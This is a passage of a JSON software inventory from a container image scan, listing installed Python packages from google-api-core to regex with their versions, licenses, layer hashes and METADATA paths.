"sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_api_core-2.29.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-auth", "Identifier": { "PURL": "pkg:pypi/google-auth@2.48.0", "UID": "5b6649cec3a01e77" }, "Version": "2.48.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_auth-2.48.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-aiplatform", "Identifier": { "PURL": "pkg:pypi/google-cloud-aiplatform@1.137.0", "UID": "5a38e96150366386" }, "Version": "1.137.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_cloud_aiplatform-1.137.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-bigquery", "Identifier": { "PURL": "pkg:pypi/google-cloud-bigquery@3.40.0", "UID": "fa37f25f69f690e5" }, "Version": "3.40.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_cloud_bigquery-3.40.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-core", "Identifier": { "PURL": "pkg:pypi/google-cloud-core@2.5.0", "UID": "a4abc403c7f2334f" }, "Version": "2.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_cloud_core-2.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-resource-manager", "Identifier": { "PURL": "pkg:pypi/google-cloud-resource-manager@1.16.0", "UID": "d2af2dd3c99ec8c0" }, "Version": "1.16.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_cloud_resource_manager-1.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-cloud-storage", "Identifier": { "PURL": "pkg:pypi/google-cloud-storage@3.9.0", "UID": "85e81f3e422c89a0" }, "Version": "3.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_cloud_storage-3.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-crc32c", "Identifier": { "PURL": "pkg:pypi/google-crc32c@1.8.0", "UID": "e0ef731fbe80e3ac" }, "Version": "1.8.0", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_crc32c-1.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-genai", "Identifier": { "PURL": "pkg:pypi/google-genai@1.63.0", "UID": "4754e34e61eddc1e" }, "Version": "1.63.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_genai-1.63.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "google-resumable-media", "Identifier": { "PURL": "pkg:pypi/google-resumable-media@2.8.0", "UID": "1770f6f27e604c7" }, "Version": "2.8.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/google_resumable_media-2.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "googleapis-common-protos", "Identifier": { "PURL": "pkg:pypi/googleapis-common-protos@1.72.0", "UID": "b118415e01630c9b" }, "Version": "1.72.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/googleapis_common_protos-1.72.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "greenlet", "Identifier": { "PURL": "pkg:pypi/greenlet@3.3.1", "UID": "33356e4be51312fa" }, "Version": "3.3.1", "Licenses": [ "MIT AND Python-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/greenlet-3.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grep-ast", "Identifier": { "PURL": "pkg:pypi/grep-ast@0.9.0", "UID": "41d0576bdb8d35fd" }, "Version": "0.9.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/grep_ast-0.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpc-google-iam-v1", "Identifier": { "PURL": "pkg:pypi/grpc-google-iam-v1@0.14.3", "UID": "2a520c2e988d9707" }, "Version": "0.14.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/grpc_google_iam_v1-0.14.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio", "Identifier": { "PURL": "pkg:pypi/grpcio@1.78.0", "UID": "96e7a1aabb731e47" }, "Version": "1.78.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/grpcio-1.78.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "grpcio-status", "Identifier": { "PURL": "pkg:pypi/grpcio-status@1.78.0", "UID": "4f646122485218a2" }, "Version": "1.78.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/grpcio_status-1.78.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "h11", "Identifier": { "PURL": "pkg:pypi/h11@0.16.0", "UID": "bf79c5393993e039" }, "Version": "0.16.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/h11-0.16.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "hf-xet", "Identifier": { "PURL": "pkg:pypi/hf-xet@1.2.0", "UID": "4b4fe91127e6628c" }, "Version": "1.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/hf_xet-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpcore", "Identifier": { "PURL": "pkg:pypi/httpcore@1.0.9", "UID": "661f42279df9a97a" }, "Version": "1.0.9", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/httpcore-1.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "httpx", "Identifier": { "PURL": "pkg:pypi/httpx@0.28.1", "UID": "5fdef1a04a063492" }, "Version": "0.28.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/httpx-0.28.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "huggingface_hub", "Identifier": { "PURL": "pkg:pypi/huggingface-hub@1.4.1", "UID": "352f40676c9b52b7" }, "Version": "1.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/huggingface_hub-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "idna", "Identifier": { "PURL": "pkg:pypi/idna@3.11", "UID": "eb5423662044046" }, "Version": "3.11", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/idna-3.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_metadata", "Identifier": { "PURL": "pkg:pypi/importlib-metadata@7.2.1", "UID": "3e968c4587f579a6" }, "Version": "7.2.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/importlib_metadata-7.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "importlib_resources", "Identifier": { "PURL": "pkg:pypi/importlib-resources@6.5.2", "UID": "6d4665ee7684fd1f" }, "Version": "6.5.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/importlib_resources-6.5.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jiter", "Identifier": { "PURL": "pkg:pypi/jiter@0.13.0", "UID": "3621eef46c5ea65d" }, "Version": "0.13.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/jiter-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jmespath", "Identifier": { "PURL": "pkg:pypi/jmespath@1.1.0", "UID": "7674ef5dfbee8de8" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/jmespath-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "json5", "Identifier": { "PURL": "pkg:pypi/json5@0.13.0", "UID": "eecd57e53f9a4c0c" }, "Version": "0.13.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/json5-0.13.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonschema", "Identifier": { "PURL": "pkg:pypi/jsonschema@4.26.0", "UID": "b5c4c71e9acf2dc8" }, "Version": "4.26.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/jsonschema-4.26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "jsonschema-specifications", "Identifier": { "PURL": "pkg:pypi/jsonschema-specifications@2025.9.1", "UID": "71f9145975c69cca" }, "Version": "2025.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/jsonschema_specifications-2025.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "litellm", "Identifier": { "PURL": "pkg:pypi/litellm@1.81.10", "UID": "453b8a9e35c5b04f" }, "Version": "1.81.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/litellm-1.81.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "markdown-it-py", "Identifier": { "PURL": "pkg:pypi/markdown-it-py@4.0.0", "UID": "217dd280411c78fa" }, "Version": "4.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/markdown_it_py-4.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mccabe", "Identifier": { "PURL": "pkg:pypi/mccabe@0.7.0", "UID": "90efdc3c4f210c42" }, "Version": "0.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/mccabe-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mdurl", "Identifier": { "PURL": "pkg:pypi/mdurl@0.1.2", "UID": "25adb1f5138f61d2" }, "Version": "0.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/mdurl-0.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mixpanel", "Identifier": { "PURL": "pkg:pypi/mixpanel@5.0.0", "UID": "a8c8d307ece424f9" }, "Version": "5.0.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/mixpanel-5.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "mslex", "Identifier": { "PURL": "pkg:pypi/mslex@1.3.0", "UID": "33fe744d5b7f472d" }, "Version": "1.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/mslex-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "multidict", "Identifier": { "PURL": "pkg:pypi/multidict@6.7.1", "UID": "58f270b52000bcd5" }, "Version": "6.7.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/multidict-6.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "networkx", "Identifier": { "PURL": "pkg:pypi/networkx@3.4.2", "UID": "d8ce6954908e951f" }, "Version": "3.4.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/networkx-3.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "numpy", "Identifier": { "PURL": "pkg:pypi/numpy@1.26.4", "UID": "1acf2824bd1c4042" }, "Version": "1.26.4", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/numpy-1.26.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "openai", "Identifier": { "PURL": "pkg:pypi/openai@2.20.0", "UID": "6679599bf3dde4d7" }, "Version": "2.20.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/openai-2.20.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "orjson", "Identifier": { "PURL": "pkg:pypi/orjson@3.11.7", "UID": "e5f12c2a65955297" }, "Version": "3.11.7", "Licenses": [ "MPL-2.0 AND (Apache-2.0 OR MIT)" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/orjson-3.11.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "oslex", "Identifier": { "PURL": "pkg:pypi/oslex@0.1.3", "UID": "92ea9dbfc5a2031b" }, "Version": "0.1.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/oslex-0.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "packaging", "Identifier": { "PURL": "pkg:pypi/packaging@26.0", "UID": "3664c05b71974445" }, "Version": "26.0", "Licenses": [ "Apache-2.0 OR BSD-2-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/packaging-26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pathspec", "Identifier": { "PURL": "pkg:pypi/pathspec@1.0.4", "UID": "a9c43047f2f5f612" }, "Version": "1.0.4", "Licenses": [ "MPL-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pathspec-1.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pexpect", "Identifier": { "PURL": "pkg:pypi/pexpect@4.9.0", "UID": "65383045c75dee69" }, "Version": "4.9.0", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pexpect-4.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pillow", "Identifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "Version": "12.1.1", "Licenses": [ "MIT-CMU" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pip", "Identifier": { "PURL": "pkg:pypi/pip@25.0.1", "UID": "7d864d9a4bf3bfe8" }, "Version": "25.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "FilePath": "usr/local/lib/python3.12/site-packages/pip-25.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pip", "Identifier": { "PURL": "pkg:pypi/pip@26.0.1", "UID": "ec2c9542343c49d" }, "Version": "26.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pip-26.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "playwright", "Identifier": { "PURL": "pkg:pypi/playwright@1.58.0", "UID": "389eb395bcfae5a3" }, "Version": "1.58.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/playwright-1.58.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "posthog", "Identifier": { "PURL": "pkg:pypi/posthog@7.8.6", "UID": "c670956834c0ac0" }, "Version": "7.8.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/posthog-7.8.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "prompt_toolkit", "Identifier": { "PURL": "pkg:pypi/prompt-toolkit@3.0.52", "UID": "7c08c18c5aab00d8" }, "Version": "3.0.52", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/prompt_toolkit-3.0.52.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "propcache", "Identifier": { "PURL": "pkg:pypi/propcache@0.4.1", "UID": "116728cfc87a3d47" }, "Version": "0.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/propcache-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "proto-plus", "Identifier": { "PURL": "pkg:pypi/proto-plus@1.27.1", "UID": "6a93d147e9298b24" }, "Version": "1.27.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/proto_plus-1.27.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "protobuf", "Identifier": { "PURL": "pkg:pypi/protobuf@6.33.5", "UID": "c49f42dbb04e5d4c" }, "Version": "6.33.5", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/protobuf-6.33.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "psutil", "Identifier": { "PURL": "pkg:pypi/psutil@7.2.2", "UID": "c594eaccb1c62c2c" }, "Version": "7.2.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/psutil-7.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ptyprocess", "Identifier": { "PURL": "pkg:pypi/ptyprocess@0.7.0", "UID": "bc8511b6173f429c" }, "Version": "0.7.0", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/ptyprocess-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1", "Identifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "Version": "0.6.2", "Licenses": [ "BSD-2-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyasn1_modules", "Identifier": { "PURL": "pkg:pypi/pyasn1-modules@0.4.2", "UID": "462507a8d5e90e95" }, "Version": "0.4.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pyasn1_modules-0.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycodestyle", "Identifier": { "PURL": "pkg:pypi/pycodestyle@2.14.0", "UID": "77e9330fe51aaf3b" }, "Version": "2.14.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pycodestyle-2.14.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pycparser", "Identifier": { "PURL": "pkg:pypi/pycparser@3.0", "UID": "9b9cbad12ff556ef" }, "Version": "3.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pycparser-3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic", "Identifier": { "PURL": "pkg:pypi/pydantic@2.12.5", "UID": "11f07b0f0ef7dfa0" }, "Version": "2.12.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pydantic-2.12.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydantic_core", "Identifier": { "PURL": "pkg:pypi/pydantic-core@2.41.5", "UID": "2a967088543f2d8e" }, "Version": "2.41.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pydantic_core-2.41.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pydub", "Identifier": { "PURL": "pkg:pypi/pydub@0.25.1", "UID": "5ecfabd7d6ec840" }, "Version": "0.25.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pydub-0.25.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyee", "Identifier": { "PURL": "pkg:pypi/pyee@13.0.0", "UID": "8c830b50d884f127" }, "Version": "13.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pyee-13.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyflakes", "Identifier": { "PURL": "pkg:pypi/pyflakes@3.4.0", "UID": "ca8fd985f636d7cb" }, "Version": "3.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pyflakes-3.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pypandoc", "Identifier": { "PURL": "pkg:pypi/pypandoc@1.16.2", "UID": "fbb50109dbef9bec" }, "Version": "1.16.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pypandoc-1.16.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyperclip", "Identifier": { "PURL": "pkg:pypi/pyperclip@1.11.0", "UID": "115619d7dfa868e9" }, "Version": "1.11.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/pyperclip-1.11.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dateutil", "Identifier": { "PURL": "pkg:pypi/python-dateutil@2.9.0.post0", "UID": "1cc7bbd09682aced" }, "Version": "2.9.0.post0", "Licenses": [ "BSD-3-Clause", "Apache-2.0" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/python_dateutil-2.9.0.post0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "python-dotenv", "Identifier": { "PURL": "pkg:pypi/python-dotenv@1.2.1", "UID": "510ed358468d5911" }, "Version": "1.2.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/python_dotenv-1.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "referencing", "Identifier": { "PURL": "pkg:pypi/referencing@0.37.0", "UID": "3322b55020a05efc" }, "Version": "0.37.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "FilePath": "venv/lib/python3.12/site-packages/referencing-0.37.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "regex", "Identifier": { "PURL": "pkg:pypi/regex@2026.1.15", "UID": "404611770372f821" }, "Version": "2026.1.15", "Licenses": [ "Apache-2.0 AND CNRI-Python" ], "Layer": { "DiffID": 